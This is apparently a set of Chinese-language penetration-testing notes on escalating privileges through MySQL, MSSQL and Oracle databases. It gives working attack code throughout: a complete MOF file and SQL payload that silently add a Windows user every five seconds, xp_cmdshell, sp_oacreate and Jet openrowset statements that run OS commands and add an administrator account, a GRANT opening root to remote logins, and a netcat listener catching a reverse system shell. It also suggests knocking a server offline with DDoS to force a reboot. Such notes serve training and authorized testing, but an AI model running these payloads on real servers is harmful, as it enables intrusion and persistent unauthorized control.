在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码。除Access数据库外,其他数据库基本都存在数据库提权的可能。

数据库提权

数据库应用提权在权限提升中的意义:在使用漏洞提权无果时,考虑数据库提权

WEB或本地环境如何探针数据库应用

数据库提权权限用户密码收集等方法

目前数据库提权对应的技术及方法等

mysql数据库提权-脚本&MSF

流程:服务探针->信息收集->提权利用->获取权限

tips:mysql在windows下提权主要借助于root用户有系统权限

UDF(Userdefined function)提权(基于mysql调用命令执行函数)

信息收集(主要是root密码收集)

  1. 读取网站数据库配置文件(了解其命名规则及查找技巧)

    关键字:sql data inc config conn database common include等

  2. 读取数据库存储或备份文件(了解数据库存储格式及对应内容)

    @@basedir/data/数据库名/表名.MYD(这里@@basedir是mysql安装目录)

    image-20220302143745397

    root密码在mysql/user.MYD

    image-20220302143949566

  3. 利用脚本暴力破解(数据库root账户是否支持外联及如何开启外联)

    远程需要root账户可以外连

    服务器本地爆破,把爆破脚本上传至服务器,就可以不用root外连

注意:提权需要注意mysql的版本,版本<5.1到处目录为c:/windows或system32,版本>5.1到处目录为mysql根目录的lib/plugin,但mysql5.1以上版本默认没有plugin目录,需要自行创建

查看版本使用select version;

image-20220302144024157

还需要注意windows下mysql默认为system权限,linux下mysql仅为mysql权限,所以linux下不适用udf提权,除非linux下mysql的的运行UID是root(使用ps -aux|grep mysql查看mysql的运行权限,来判断能否使用mysql提权)

参考b

udf提权原理详解-Windows

UDF提权-踩坑-Linux

MOF(基于mysql特性的安全问题)

MOF提权的条件要求十分严苛:

  1. windows 03及以下版本
  2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
  3. secure-file-priv参数不为null

MOF文件

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。

提权原理

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

公开的nullevt.mof利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

将上面的脚本上传到有读写权限的目录下:

这里我上传到了C:\Documents and Settings\test

根据前面的phpmyadmin,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/
payload:select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。

关于Mof提权的弊端

我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?

cmd 下运行下面语句:

1
2
3
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

启动项(基于配合操作系统自启动)

一般拿到root账户后,我们可以开启外连来做更多的事GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

开启外连后,可以利用远程msf来添加启动项进行提权

先在msf中搜索search mysql

image-20220303000453446

image-20220303000838678

补充这里的START FOLDER启动项目录可以修改

image-20220303001722796

image-20220303001730991

服务器重启后就会加载这个文件

要使自启动实现,可以使用DDOS,使服务器宕机重启

反弹提权

自己的VPS端开nc -l -p 5577监听,然后利用root权限反弹系统shell,这里反弹需要用到前面udf提权的.dll库里的函数来完成

image-20220303004342561

image-20220303004405533

参考

Windows下三种mysql提权

mssql数据库提权-链接客户端

使用xp_cmdshell提权

xp_cmdshell默认在mssql2000中开启,在mssql2005之后版本中默认禁用,如果用户拥有管理员sa权限则可以用sp_configure重新开启它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* 启用 */
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdeshell', 1;
RECONFIGURE;

/* 关闭 */
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdeshell', 0;
RECONFIGURE;

/* 执行 */
EXEC master.dbo.xp_cmdshell '命令'

/* 若xp_cmdshell被删除了可以上传xplog70.dll进行恢复 */
EXEC master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

使用sp_oacreate提权

主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* 启用 */
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;


/* 关闭 */
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;

/* 执行 */
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

使用SQL Server 沙盒提权

沙盒:沙盒通常严格控制其中的程序所能访问的资源,比如,沙盒可以提供用后即回收的磁盘及内存空间。在沙盒中,网络访问、对真实系统的访问、对输入设备的读取通常被禁止或是严格限制。从这个角度来说,沙盒属于虚拟化的一种。沙盒中的所有改动对操作系统不会造成任何损失。通常,这种技术被计算机技术人员广泛用于测试可能带毒的程序或是其他的恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
--提权语句

exec sp_configure 'show advanced options',1;reconfigure;

-- 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

--执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

沙盒模式SandBoxMode参数含义(默认是2)

`0`:在任何所有者中禁止启用安全模式

`1` :为仅在允许范围内

`2` :必须在access模式下

`3`:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

--恢复配置

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

exec sp_configure 'show advanced options',0;reconfigure;

参考

SQL Server提权方法汇总(MSSQL)

Oracle数据库提权-自动化工具

oracle和jsp搭建的网站无需提权 再带system权限(jsp网站)

工具:oracleshell by rebeyond

普通用户模式:

前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。

DBA用户模式:(自动化工具)

拥有DBA账号密码,可以省去自己动手创建存储过程的繁琐步骤,一件执行测试。

注入提升模式:(sqlmap)

拥有一个oracle诸如点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证